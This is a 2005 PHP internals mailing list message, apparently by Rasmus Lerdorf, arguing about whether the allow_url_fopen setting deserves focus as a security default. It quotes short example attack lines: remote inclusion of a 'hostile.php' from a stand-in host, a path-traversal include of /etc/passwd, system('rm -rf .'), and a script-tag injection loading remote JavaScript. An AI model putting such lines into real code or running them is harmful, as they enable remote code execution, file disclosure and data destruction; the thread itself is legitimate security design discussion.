Newsgroups: php.internals
Path: news.php.net
Xref: news.php.net php.internals:16954
Return-Path: <rasmus@lerdorf.com>
Mailing-List: contact internals-help@lists.php.net; run by ezmlm
Delivered-To: mailing list internals@lists.php.net
Received: (qmail 43059 invoked by uid 1010); 28 Jun 2005 04:18:15 -0000
Delivered-To: ezmlm-scan-internals@lists.php.net
Delivered-To: ezmlm-internals@lists.php.net
Received: (qmail 43044 invoked from network); 28 Jun 2005 04:18:15 -0000
Received: from unknown (HELO lerdorf.com) (127.0.0.1)
  by localhost with SMTP; 28 Jun 2005 04:18:15 -0000
X-Host-Fingerprint: 204.11.219.139 lerdorf.com Linux 2.4/2.6
Received: from ([204.11.219.139:39814] helo=colo.lerdorf.com)
	by pb1.pair.com (ecelerity 1.2 r(5656M)) with SMTP
	id 73/7A-00424-68FC0C24 for <internals@lists.php.net>; Tue, 28 Jun 2005 00:18:14 -0400
Received: from [192.168.0.55] (a84-231-128-8.elisa-laajakaista.fi [84.231.128.8])
	(authenticated bits=0)
	by colo.lerdorf.com (8.13.4/8.13.4/Debian-3) with ESMTP id j5S4HxKv002414
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Mon, 27 Jun 2005 21:18:01 -0700
Message-ID: <42C0CF76.6090203@lerdorf.com>
Date: Tue, 28 Jun 2005 07:17:58 +0300
User-Agent: Mozilla Thunderbird 1.0.2 (Macintosh/20050317)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Russell Nelson <nelson@crynwr.com>
CC: internals@lists.php.net
References: <42BDDC82.6020208@ohgaki.net> <17088.52397.92440.326561@desk.crynwr.com>
In-Reply-To: <17088.52397.92440.326561@desk.crynwr.com>
X-Enigmail-Version: 0.91.0.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Subject: Re: [PHP-DEV] allow_url_fopen should be INI_ALL
From: rasmus@lerdorf.com (Rasmus Lerdorf)

Russell Nelson wrote:
> Yasuo Ohgaki writes:
>  > 1) change allow_url_fopen to INI_ALL
>  > 2) disable allow_url_fopen by default
>  > 
>  > I would like to see these changes in PHP 5.1 and PHP 4.4, since this
>  > is security related changes.
> 
> What problem are you trying to solve?  Attacks against the very common
> misuse of:
>    include "http://example.com/hostile.php" ?
> Or attacks against a graphics library:
>    getimagesize("http://example.com/hostile.jpg")
> or XML parser:
>    simplexml_load_file("http://example.com/hostile.xml")
> 
> Derick Rethans writes:
>  > I disagree. With proper filtering, or using non-user-supplied 
>  > information there is no problem.
> 
> The problem is that naive programmers think there is no problem
> withOUT proper filtering.  The sharp edges of 'include' are not
> visible enough.  I'll bet you that people would not use 'include' and
> 'includeremotehostilecode' in the identical manner.

How is this any different from

include "../../../../../etc/passwd";

Or

system("rm -rf .");

Or

echo $user_data;

where $user_data contains:
<script src="http://remote.host/foo.js"></script>

There are a lot of places where unfiltered user input can cause some
rather severe problems.

I agree that we need to improve the overall level of security in PHP,
but I am not sure that focusing on allow_url_fopen is very constructive.
 There are far far more web sites that have these other unfiltered user
data issues than have url_fopen issues.

-Rasmus